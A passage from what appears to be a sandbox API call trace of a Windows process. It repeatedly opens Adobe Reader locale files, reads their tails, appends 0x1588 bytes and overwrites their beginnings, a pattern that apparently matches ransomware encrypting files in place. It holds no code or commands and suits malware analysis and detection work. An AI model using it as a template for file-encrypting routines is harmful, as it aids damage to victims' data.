lpNumberOfBytesWritten=0x2c0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1dae208*, lpNumberOfBytesWritten=0x2c0f28c*=0x4000, lpOverlapped=0x0) returned 1 [0036.402] CloseHandle (hObject=0x1ac) returned 1 [0036.402] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI\\Search.SUO" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\fi_fi\\search.suo"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x168 [0036.406] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0036.406] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x5a00 [0036.406] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0036.406] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0036.407] ReleaseMutex (hMutex=0x128) returned 1 [0036.407] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Search.SUO", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0036.407] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Search.SUO", cchWideChar=10, lpMultiByteStr=0x1e630cc, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Search.SUO", lpUsedDefaultChar=0x0) returned 10 [0036.407] ReadFile (in: hFile=0x168, lpBuffer=0x1df1c78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2c0f278, lpOverlapped=0x0 | out: lpBuffer=0x1df1c78*, lpNumberOfBytesRead=0x2c0f278*=0x1000, lpOverlapped=0x0) returned 1 [0036.416] SetFilePointer (in: hFile=0x168, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2c0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f2e8*=0) returned 0x4a00 [0036.416] ReadFile (in: hFile=0x168, lpBuffer=0x1defde8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2c0f278, lpOverlapped=0x0 | out: lpBuffer=0x1defde8*, lpNumberOfBytesRead=0x2c0f278*=0x1000, lpOverlapped=0x0) returned 1 [0036.418] SetFilePointer (in: hFile=0x168, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2c0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f2e8*=0) returned 0x4a00 [0036.419] WriteFile (in: hFile=0x168, lpBuffer=0x1da5ed8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2c0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1da5ed8*, lpNumberOfBytesWritten=0x2c0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0036.421] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f2bc*=0) returned 0x0 [0036.421] WriteFile (in: hFile=0x168, lpBuffer=0x1defde8*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2c0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1defde8*, lpNumberOfBytesWritten=0x2c0f28c*=0x1000, lpOverlapped=0x0) returned 1 [0036.421] CloseHandle (hObject=0x168) returned 1 [0036.423] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fr_FR\\Annots.FRA" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\fr_fr\\annots.fra"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x168 [0036.427] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0036.427] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x7f600 [0036.429] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0036.431] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0036.431] ReleaseMutex (hMutex=0x128) returned 1 [0036.431] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Annots.FRA", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0036.431] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Annots.FRA", cchWideChar=10, lpMultiByteStr=0x1e6314c, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Annots.FRA", lpUsedDefaultChar=0x0) returned 10 [0036.431] ReadFile (in: hFile=0x168, lpBuffer=0x276a328, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0x2c0f278, lpOverlapped=0x0 | out: lpBuffer=0x276a328*, lpNumberOfBytesRead=0x2c0f278*=0x8000, lpOverlapped=0x0) returned 1 [0036.440] SetFilePointer (in: hFile=0x168, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2c0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f2e8*=0) returned 0x7e600 [0036.440] ReadFile (in: hFile=0x168, lpBuffer=0x1defde8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2c0f278, lpOverlapped=0x0 | out: lpBuffer=0x1defde8*, lpNumberOfBytesRead=0x2c0f278*=0x1000, lpOverlapped=0x0) returned 1 [0036.442] SetFilePointer (in: hFile=0x168, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2c0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f2e8*=0) returned 0x7e600 [0036.442] WriteFile (in: hFile=0x168, lpBuffer=0x2772358*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2c0f28c, lpOverlapped=0x0 | out: lpBuffer=0x2772358*, lpNumberOfBytesWritten=0x2c0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0036.442] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f2bc*=0) returned 0x0 [0036.442] WriteFile (in: hFile=0x168, lpBuffer=0x2720cd8*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0x2c0f28c, lpOverlapped=0x0 | out: lpBuffer=0x2720cd8*, lpNumberOfBytesWritten=0x2c0f28c*=0x8000, lpOverlapped=0x0) returned 1 [0036.442] CloseHandle (hObject=0x168) returned 1 [0036.443] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fr_FR\\pddom.FRA" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\fr_fr\\pddom.fra"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x168 [0036.443] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0036.443] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x2e00 [0036.444] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0036.444] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0036.444] ReleaseMutex (hMutex=0x128) returned 1 [0036.444] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="pddom.FRA", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0036.444] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="pddom.FRA", cchWideChar=9, lpMultiByteStr=0x1e6302c, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pddom.FRA", lpUsedDefaultChar=0x0) returned 9 [0036.444] ReadFile (in: hFile=0x168, lpBuffer=0x1defde8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2c0f278, lpOverlapped=0x0 | out: lpBuffer=0x1defde8*, lpNumberOfBytesRead=0x2c0f278*=0x1000, lpOverlapped=0x0) returned 1 [0036.445] SetFilePointer (in: hFile=0x168, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2c0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f2e8*=0) returned 0x1e00 [0036.445] ReadFile (in: hFile=0x168, lpBuffer=0x1defde8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2c0f278, lpOverlapped=0x0 | out: lpBuffer=0x1defde8*, lpNumberOfBytesRead=0x2c0f278*=0x1000, lpOverlapped=0x0) returned 1 [0036.446] SetFilePointer (in: hFile=0x168, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2c0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f2e8*=0) returned 0x1e00 [0036.446] WriteFile (in: hFile=0x168, lpBuffer=0x25c7e08*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2c0f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c7e08*, lpNumberOfBytesWritten=0x2c0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0036.446] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f2bc*=0) returned 0x0 [0036.446] WriteFile (in: hFile=0x168, lpBuffer=0x1defde8*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2c0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1defde8*, lpNumberOfBytesWritten=0x2c0f28c*=0x1000, lpOverlapped=0x0) returned 1 [0036.447] CloseHandle (hObject=0x168) returned 1 [0036.447] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fr_FR\\Spelling.FRA" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\fr_fr\\spelling.fra"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x168 [0036.447] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0036.447] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x2a00 [0036.447] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0036.447] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0036.447] ReleaseMutex (hMutex=0x128) returned 1 [0036.447] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Spelling.FRA", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0036.447] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Spelling.FRA", cchWideChar=12, lpMultiByteStr=0x1e6314c, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Spelling.FRA", lpUsedDefaultChar=0x0) returned 12 [0036.447] ReadFile (in: hFile=0x168, lpBuffer=0x1defde8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2c0f278, lpOverlapped=0x0 | out: lpBuffer=0x1defde8*, lpNumberOfBytesRead=0x2c0f278*=0x1000, lpOverlapped=0x0) returned 1 [0036.449] SetFilePointer (in: hFile=0x168, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2c0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f2e8*=0) returned 0x1a00 [0036.449] ReadFile (in: hFile=0x168, lpBuffer=0x1defde8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2c0f278, lpOverlapped=0x0 | out: lpBuffer=0x1defde8*, lpNumberOfBytesRead=0x2c0f278*=0x1000, lpOverlapped=0x0) returned 1 [0036.450] SetFilePointer (in: hFile=0x168, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2c0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f2e8*=0) returned 0x1a00 [0036.450] WriteFile (in: hFile=0x168, lpBuffer=0x25c7e08*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2c0f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c7e08*, lpNumberOfBytesWritten=0x2c0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0036.450] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f2bc*=0) returned 0x0 [0036.450] WriteFile (in: hFile=0x168, lpBuffer=0x1defde8*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2c0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1defde8*, lpNumberOfBytesWritten=0x2c0f28c*=0x1000, lpOverlapped=0x0) returned 1 [0036.450] CloseHandle (hObject=0x168) returned 1 [0036.450] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hr_HR\\DVA.HRV" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\hr_hr\\dva.hrv"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x168 [0036.450] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0036.450] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x4800 [0036.450] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0036.450] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0036.451] ReleaseMutex (hMutex=0x128) returned 1 [0036.451] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DVA.HRV", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0036.451] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DVA.HRV", cchWideChar=7, lpMultiByteStr=0x1e6a9fc, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DVA.HRV", lpUsedDefaultChar=0x0) returned 7 [0036.451] ReadFile (in: hFile=0x168, lpBuffer=0x1defde8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2c0f278, lpOverlapped=0x0 | out: lpBuffer=0x1defde8*, lpNumberOfBytesRead=0x2c0f278*=0x1000, lpOverlapped=0x0) returned 1 [0036.452] SetFilePointer (in: hFile=0x168, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2c0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f2e8*=0) returned 0x3800 [0036.452] ReadFile (in: hFile=0x168, lpBuffer=0x1defde8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2c0f278, lpOverlapped=0x0 | out: lpBuffer=0x1defde8*, lpNumberOfBytesRead=0x2c0f278*=0x1000, lpOverlapped=0x0) returned 1 [0036.452] SetFilePointer (in: hFile=0x168, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2c0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f2e8*=0) returned 0x3800 [0036.453] WriteFile (in: hFile=0x168, lpBuffer=0x25c7e08*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2c0f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c7e08*, lpNumberOfBytesWritten=0x2c0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0036.453] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f2bc*=0) returned 0x0 [0036.453] WriteFile (in: hFile=0x168, lpBuffer=0x1defde8*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2c0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1defde8*, lpNumberOfBytesWritten=0x2c0f28c*=0x1000, lpOverlapped=0x0) returned 1 [0036.453] CloseHandle (hObject=0x168) returned 1 [0036.453] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hr_HR\\Reflow.HRV" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\hr_hr\\reflow.hrv"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x168 [0036.454] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0036.454] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x1200 [0036.454] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0036.454] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0036.454] ReleaseMutex (hMutex=0x128) returned 1 [0036.454] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Reflow.HRV", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0036.454] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Reflow.HRV", cchWideChar=10, lpMultiByteStr=0x1e6302c, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Reflow.HRV", lpUsedDefaultChar=0x0) returned 10 [0036.454] ReadFile (in: hFile=0x168, lpBuffer=0x25ca738, nNumberOfBytesToRead=0x1200, lpNumberOfBytesRead=0x2c0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x25ca738*, lpNumberOfBytesRead=0x2c0f2bc*=0x1200, lpOverlapped=0x0) returned 1 [0036.456] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f300*=0) returned 0x0 [0036.456] WriteFile (in: hFile=0x168, lpBuffer=0x25ca738*, nNumberOfBytesToWrite=0x1788, lpNumberOfBytesWritten=0x2c0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x25ca738*, lpNumberOfBytesWritten=0x2c0f2d0*=0x1788, lpOverlapped=0x0) returned 1 [0036.456] CloseHandle (hObject=0x168) returned 1 [0036.456] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hu_HU\\Acroform.HUN" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\hu_hu\\acroform.hun"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a0 [0036.791] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0036.791] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x68600 [0036.791] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0036.791] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0036.791] ReleaseMutex (hMutex=0x128) returned 1 [0036.791] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Acroform.HUN", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0036.791] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Acroform.HUN", cchWideChar=12, lpMultiByteStr=0x1e6310c, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Acroform.HUN", lpUsedDefaultChar=0x0) returned 12 [0036.791] ReadFile (in: hFile=0x1a0, lpBuffer=0x2613c48, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0x2c0f278, lpOverlapped=0x0 | out: lpBuffer=0x2613c48*, lpNumberOfBytesRead=0x2c0f278*=0x8000, lpOverlapped=0x0) returned 1 [0036.809] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2c0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f2e8*=0) returned 0x67600 [0036.809] ReadFile (in: hFile=0x1a0, lpBuffer=0x25cb568, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2c0f278, lpOverlapped=0x0 | out: lpBuffer=0x25cb568*, lpNumberOfBytesRead=0x2c0f278*=0x1000, lpOverlapped=0x0) returned 1 [0036.817] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2c0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f2e8*=0) returned 0x67600 [0036.818] WriteFile (in: hFile=0x1a0, lpBuffer=0x1deef48*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2c0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1deef48*, lpNumberOfBytesWritten=0x2c0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0036.818] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f2bc*=0) returned 0x0 [0036.818] WriteFile (in: hFile=0x1a0, lpBuffer=0x1de0db8*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0x2c0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1de0db8*, lpNumberOfBytesWritten=0x2c0f28c*=0x8000, lpOverlapped=0x0) returned 1 [0036.818] CloseHandle (hObject=0x1a0) returned 1 [0036.818] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hu_HU\\makeaccessible.HUN" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\hu_hu\\makeaccessible.hun"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a0 [0036.819] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0036.819] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x12c00 [0036.819] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0036.819] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0036.819] ReleaseMutex (hMutex=0x128) returned 1 [0036.819] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="makeaccessible.HUN", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0036.819] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="makeaccessible.HUN", cchWideChar=18, lpMultiByteStr=0x1e789ec, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="makeaccessible.HUN", lpUsedDefaultChar=0x0) returned 18 [0036.819] ReadFile (in: hFile=0x1a0, lpBuffer=0x260fc18, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x2c0f278, lpOverlapped=0x0 | out: lpBuffer=0x260fc18*, lpNumberOfBytesRead=0x2c0f278*=0x4000, lpOverlapped=0x0) returned 1 [0036.824] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2c0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f2e8*=0) returned 0x11c00 [0036.824] ReadFile (in: hFile=0x1a0, lpBuffer=0x25ca738, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2c0f278, lpOverlapped=0x0 | out: lpBuffer=0x25ca738*, lpNumberOfBytesRead=0x2c0f278*=0x1000, lpOverlapped=0x0) returned 1 [0036.827] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2c0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f2e8*=0) returned 0x11c00 [0036.828] WriteFile (in: hFile=0x1a0, lpBuffer=0x25ca738*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2c0f28c, lpOverlapped=0x0 | out: lpBuffer=0x25ca738*, lpNumberOfBytesWritten=0x2c0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0036.828] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f2bc*=0) returned 0x0 [0036.828] WriteFile (in: 